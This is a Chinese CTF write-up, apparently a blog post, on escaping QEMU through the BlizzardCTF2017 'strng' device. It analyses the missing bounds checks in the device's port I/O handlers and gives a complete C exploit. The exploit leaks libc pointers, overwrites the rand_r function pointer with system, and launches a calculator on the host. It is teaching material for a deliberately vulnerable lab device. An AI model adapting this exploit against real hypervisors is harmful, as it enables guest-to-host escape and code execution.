【qemu逃逸】BlizzardCTF2017-strng

前言

虚拟机用户名:ubuntu

密码:passw0rd

一道入门题,看下启动脚本:

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

可以看到加载了 strng 这个设备,并将虚拟机的 22 端口映射到了宿主机的 5555 端口,所以后面可以用如下命令将 exp 传入虚拟机:

scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu

程序分析

设备定位

直接将 qemu-system-x86_64 丢入 IDA,然后定位到 strng 相关的函数:

从 strng_class_init 函数可以得知 strng 设备的 verdorid = 0x1234,deviceid=0x11E9。然后可以定位到其对应的设备资源:

访问其资源,可以看到存在 resource0 和 resource1 说明其有 mmio 和 pmio 空间(其中从 IDA 里面的函数名也可以看出来):

设备逆向

最主要的就是与 mmio 和 pmio 相关的函数,这里依次看下。这里提前说下,以下函数每次操作的都是下面这个结构体:也就是我们的类实例

strng_mmio_read

这个函数似乎存在溢出,因为其没有对 addr 进行大小检查,所以 addr >> 2 可能造成越界。

strng_mmio_write

函数的功能很简单,也是缺乏对 addr 的大小检查,值得注意的是我的注释部分。

strng_pmio_read

 这里也是没有对 opaque->addr 的大小做检查,如果我们能够控制 opaque->addr 则导致任意读。

  strng_pmio_write

这个函数就很明显了,我们有直接设置 opaque->addr 的能力,配合 pmio_read 可以实现任意读,而结合其自身可以实现任意写。因为该函数也没有对 opaque->addr 的大小做检查。

漏洞分析

- mmio_read 中存在直接越界读

- mmio_write 中存在直接越界写

- pmio_read 与 pmio_write 配合可以实现任意地址读写(不完全任意,应该说越界读写好一些,不想改了)

但是这里需要注意的是 mmio 本身会对地址范围做检查,所以这里第1、2个漏洞无法利用。最后通过 pmio_read 与 pmio_write 实现任意地址读写。

利用方式:

        1、越界读取 regs 后面的 srand/rand/rand_r 函数指针去泄漏 system 函数地址

        2、再回到 strng_mmio_write 函数中:

可以看到在 idx == 3 成立时,会调用 opaque->rand_r,所以可以通过越界读去修改 rand_r 指针为 system 函数地址。

        3、然后之前向 regs[2] 处写入 ”gnome-calculator" 字符串,最后触发即可弹计算机。

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio_mem;
size_t pmio_mem = 0xc050;

void mmio_init()
{
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR|O_SYNC);
        if (mmio_fd < 0) perror("[X] open mmio"), exit(EXIT_FAILURE);

        mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem < 0) perror("[X] mmap mmio"), exit(EXIT_FAILURE);

        if (mlock(mmio_mem, 0x1000) == -1) perror("[X] mlock mmio"), exit(EXIT_FAILURE);
}

size_t mmio_read(size_t offset)
{
        return *(size_t*)(mmio_mem + offset);
}

size_t mmio_write(size_t offset, size_t value)
{
        *(size_t*)(mmio_mem + offset) = value;
}

void pmio_init()
{
        if (iopl(3) == -1) perror("[X] iopl"), exit(EXIT_FAILURE);
}

size_t pmio_read(size_t offset)
{
        return inl(pmio_mem + offset);
}

void pmio_write(size_t offset, size_t value)
{
        outl(value, pmio_mem + offset);
}

uint64_t arb_read(size_t offset)
{
        pmio_write(0, offset<<2);
        uint64_t val = pmio_read(4);
        pmio_write(0, (offset+1)<<2);
        return val | (1ULL * pmio_read(4) << 32);
}

void arb_write(size_t offset, uint64_t val)
{
        pmio_write(0, offset<<2);
        pmio_write(4, val & 0xffffffff);
        pmio_write(0, (offset+1)<<2);
        pmio_write(4, val >> 32);
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        uint64_t srand_addr = arb_read(65);
        printf("[+] srand_addr => %#llx\n", srand_addr);
        uint64_t system_addr = srand_addr + 0xacd0;
        printf("[+] system_addr => %#llx\n", system_addr);

        mmio_write(8, 0x6d6f6e67);
        mmio_write(8+4, 0x61632d65);
        //mmio_write(8+4+4, 0x6c75636c);
        //mmio_write(8+4+4+4, 0x726f7461);

        arb_write(4, 0x726f74616c75636c);
        arb_write(69, system_addr);
        mmio_write(8+4, 0xdeadbeef);

        return 0;
}

效果如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
该资源内项目源码是个人的课程设计、毕业设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。 该资源内项目源码是个人的课程设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值